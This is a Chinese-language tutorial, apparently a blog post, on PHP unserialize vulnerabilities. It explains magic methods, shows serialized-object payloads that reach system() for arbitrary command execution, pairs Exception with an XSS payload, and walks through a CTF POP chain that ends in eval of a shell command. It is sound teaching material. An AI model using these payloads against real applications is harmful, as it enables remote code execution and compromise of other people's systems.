序列化和反序列化
序列化:serialize()
,将对象转化为数组或者字符串等格式
反序列化:unserialize()
,将数组或字符串等格式转化成对象
为什么要进行序列化和反序列化?是因为我们在传递和保存对象时,为了保证对象的完整性和可传递性,我们将对象转换为有序字节流,以便在网络上传输或者保存在本地文件中。
反序列化漏洞
在PHP中存在一些魔术方法,可以控制优先执行什么或者初始化什么,但是如果魔术方法适用不当,就会造成反序列化漏洞,其原理是未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行、SQL注入等不可控后果,其中一些常见的魔术方法如下所示
触发:unserialize 函数的变量可控,文件中存在可利用的类,类中有魔术方法: __construct(): __destruct(): __wakeup(): __invoke(): __call(): __callStatic(): __get(): __set(): __isset(): __unset(): __toString(): __sleep():
|
我们接下来以几个例子来展现反序列化的安全问题,首先代码如下
<?php class A{ public $var='echo test'; public function test(){ echo $this->var; } public function __destruct(){ echo 'end'.'<br>'; } public function __construct(){ echo 'start'.'<br>'; } public function __toString(){ return '__toString'.'<br>'; } } $a = new A(); ?>
|
我们访问一下该网站,得到的结果如下

首先输出一个start,然后再输出一个end,所以是依次调用了__construct()
和__destruct()
函数,我们再加上echo serialize($a)
,我们看看输出了什么

这个操作就把public中的$var输出来了,我们接下来不创建对象,直接适用反序列化进行输入,如下代码
<?php class A{ public $var='echo test'; public function test(){ echo $this->var; } public function __destruct(){ echo 'end'.'<br>'; } public function __construct(){ echo 'start'.'<br>'; } public function __toString(){ return '__toString'.'<br>'; } }
$t = unserialize('O:1:"A":1:{s:3:"var";s:9:"echo test";}'); ?>
|

我们发现只输出了一个end,证明已经创建过对象了,所以不会再触发__construct()
函数,只会在代码结束的时候触发__destruct()
函数
当我们再添加如下代码的时候,我们观察会有什么情况
$a = new A(); $a->test(); echo $a;
|

从这里我们可以看出,当你想要调用类里面的方法的时候,你可以选择创建对应的类,然后使用相关的方法,例如$a->test();
,也可以不使用对应的类,我们可以使用魔术方法,比如__toString()
方法,这个方法被调用的条件就是当一个类被当作字符串输出的时候被调用,所以我们这里使用echo让其输出也可以调用对应的方法,让其输出__toString
我们再来看一个相关的例子,如下所示
class B{ public function __destruct(){ system('ipconfig'); } public function __construct(){ echo 'yyds'.'<br>'; } } $b=new B(); echo serialize($b);
|
我们试着执行一下,如下所示

加入代码unserialize($_GET['x']);
,当我们输入?x=O:1:"B":0:{}
的时候也会触发该命令执行

我们接下来展示如何利用反序列化漏洞进行任意命令执行,如下所示
class C{ public $cmd='ipconfig'; public function __destruct(){ system($this->cmd); } public function __construct(){ echo 'yyds'.'<br>'; } } $cc=new C(); echo serialize($cc);
|
我们首先先看看这串代码被序列化后是什么情况,如下所示

我们此时加上反序列化代码以接收序列化数据

我们此时将序列化数据中的命令任意更改,如将O:1:"C":1:{s:3:"cmd";s:8:"ipconfig";}
改成O:1:"C":1:{s:3:"cmd";s:6:"whoami";}
,并进行传参

实现了任意命令执行,这就是反序列化漏洞的基本原理
公私有属性
- public(公共的),是在本类内部、外部类、子类都可以访问;
- protect(受保护的),只有本类或子类或父类中可以访问;
- private(私人的),只有本类内部可以使用。
当进行PHP序列化的时候,private和protected变量会引入不可见字符%00,private会变成%00类名%00属性名
,protected为%00*%00属性名
,由于%00是ascii码为0的字符,这个字符显示和输出看不到,但是这也是序列化后去区分公私有属性的重要标准之一,所以我们一般进行url编码,否则我们可能看不到区别。
PHP原生类
更多内容参考这一篇文章:浅析PHP原生类-安全客 - 安全资讯平台 (anquanke.com)
首先我们使用下面的脚本去生成原生类
<?php $classes = get_declared_classes(); foreach ($classes as $class) { $methods = get_class_methods($class); foreach ($methods as $method) { if (in_array($method, array( '__destruct', '__toString', '__wakeup', '__call', '__callStatic', '__get', '__set', '__isset', '__unset', '__invoke', '__set_state' ))) { print $class . '::' . $method . "\n"; } } }
|

我们这里以一个本地搭建的Demo来进行原生类的演示,如下所示
首先创建一个PHP文件,代码如下
<?php highlight_file(__file__); $a = unserialize($_GET['k']); echo $a; ?>
|

由于这里有echo,所以我们可以尝试调用__toString
方法,但是这里又没有toString
方法,所以这里我们考虑使用原生类,我们首先先查找一下toString
方法的原生类

我们这里使用Exception进行利用,我们可以去其官方文档上找相关的用法

我们可以使用这个的同时,将其中的some error messgae
换成xss语句

接着我们将生成的序列化语句当作参数传入,会得到想应得弹窗

成功将反序列化漏洞和XSS漏洞结合在一起
CTF例题
我们这里以nssctf上的babyserialize为例子,如下所示
<?php include "waf.php"; class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } }
function __call($from,$val){ $this->fun=$val[0]; }
public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } }
class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } }
class Ilovetxw{ public $huang; public $su;
public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; }
public function __toString(){ $bb = $this->su; return $bb(); } }
class four{ public $a="TXW4EVER"; private $fun='abc';
public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } }
if(isset($_GET['ser'])){ @unserialize($_GET['ser']); }else{ highlight_file(__FILE__); }
?>
|
像这种有很多类的一看就知道要构造pop链,构造的过程可能有点绕,需要足够的耐心与技巧
首先我们需要去寻找哪里存在任意命令执行函数或者flag字眼,通过我们观察,我们可以发现在NISA类中存在命令执行函数

我们进行相关的标注,如下所示

接着我们寻找如何触发__invoke()
函数,这是一个魔术方法,当尝试以调用函数的方法调用一个对象时,会被自动调用,我们可以去寻找类似于$a()
这种的,我们在Ilovetxw类中找到了$bb()
函数

我们的$bb
来自于$su
,我们进行相关标记,如下所示

表示要传入NISA类中,接着我们要调用__toString()
函数,这个函数当对象被当做字符串的时候会自动调用

我们找到这里,这里我们可以知道应该进行如下标记

接下来我们找哪里调用了__set()
魔术方法,其用于将数据写入不可访问的属性

我们发现这个fun参数并不存在于当前的类中,所以我们这里做如下标记

我们接着去寻找谁调用了__call()
函数,我们可以知道,在对象上下文中调用不可访问的方法时触发,我们发现nisa这个方法并不存在

所以我们可以做如下标记

此时我们也找到了我们的链头,因为__wakeup()
函数在触发反序列化的时候就会被触发,至此整个pop链构造完成,接下来我们就开始构造代码
<?php class NISA{ public $fun="666"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } }
function __call($from,$val){ $this->fun=$val[0]; }
public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } }
class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } }
class Ilovetxw{ public $huang; public $su;
public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; }
public function __toString(){ $bb = $this->su; return $bb(); } }
class four{ public $a="TXW4EVER"; private $fun='sixsixsix';
public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a); } } } $a = new NISA(); $a->txw4ever='SYSTEM("ls /");'; $b= new Ilovetxw(); $b->su =$a; $c = new four(); $c -> a= $b; $d = new Ilovetxw(); $d -> huang = $c; $f = new TianXiWei(); $f->ext=$d; echo urlencode(serialize($f)); ?>
|
执行后得到如下结果

接着读取flag,如下所示

成功解出本题